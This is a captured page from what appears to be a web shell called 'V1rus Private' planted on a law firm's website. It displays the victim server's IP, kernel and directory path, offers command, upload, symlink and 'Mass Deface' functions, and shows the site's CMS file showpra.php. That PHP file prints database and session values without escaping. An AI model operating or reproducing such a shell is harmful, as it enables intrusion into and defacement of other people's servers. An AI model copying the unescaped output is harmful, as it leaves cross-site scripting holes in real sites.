V1rus Private
User / IP
:
216.73.217.26
Host / Server
:
103.138.189.202 / chaitanyalaw.com
System
:
Linux s1325.sgp1.mysecurecloudhost.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
chaitany
/
public_html
/
CMS
/
Practices
/
Viewing: showpra.php
<?php include("../layouts/navbar.php"); ?> <?php if (isset($_SESSION['statusPractice'])) { ?> <script> swal({ title: "<?php echo $_SESSION['statusPractice']; ?>", icon: "success", timer: 1200 }); </script> <?php unset($_SESSION['statusPractice']); } ?> <?php if (isset($_SESSION['titleError']) || isset($_SESSION['contentError']) || isset($_SESSION['imageError'])) { ?> <script> let text = ` <?php if (isset($_SESSION['titleError'])) echo $_SESSION['titleError'] ?> <?php if (isset($_SESSION['contentError'])) echo $_SESSION['contentError'] ?> <?php if (isset($_SESSION['imageError'])) echo $_SESSION['imageError'] ?> `; swal({ title: "Error!", text: text, icon: "error", timer: 5000 }); </script> <?php unset($_SESSION['titleError']); unset($_SESSION['contentError']); unset($_SESSION['imageError']); } ?> <script src="../js/bootstrap.bundel.min.js"> </script> <div class="container " style="margin-top: 125px;"> <div class="table-responsive shadow-lg p-5 mb-5 rounded"> <h2 class=" text-uppercase text-center" style="font-family:Times New Roman, Times, serif"> Practices</h2> <table class="table table-striped table-hover border border-dark border-3"> <thead> <tr class="p-3 mb-5 rounded border border-dark border-3"> <th>SN</th> <th>Practice Pic</th> <th>Title</th> <th>Content</th> <th>Action</th> </tr> </thead> <tbody> <?php $sql = "SELECT * FROM practice"; $res = mysqli_query($conn, $sql); $num = mysqli_num_rows($res); if ($num > 0) { $i = 0; while ($rows = mysqli_fetch_assoc($res)) { $i++; $id = $rows['id']; $title = $rows['title']; $content = $rows['content']; $file = $rows['files']; ?> <tr> <td> <?php echo $i; ?> </td> <td> <?php echo "<img src ='files/$file' widht='50px' height='50px' alt='No File'>" ?> </td> <td> <?php echo $title; ?> </td> <td style="width: 40%;"> <?php echo $content; ?> </td> <td> <a href="managepra.php?updateid=<?php echo $id ?>" class="text-white btn btn-primary" style="text-decoration:none; width: 5rem; margin: 0.125rem;"> Edit </a> <button class="btn-danger btn delete_btn" value="<?= $rows['id']; ?>" class="text-white" style="text-decoration:none; width: 5rem; margin: 0.125rem;"> Delete </button> </td> </tr> <?php } } ?> </tbody> </table> </div> </div> <script src='../js/practiceDeleteHandler.js'></script> <?php include("../layouts/footer.php"); ?>
Coded With 💗 by
HanzOFC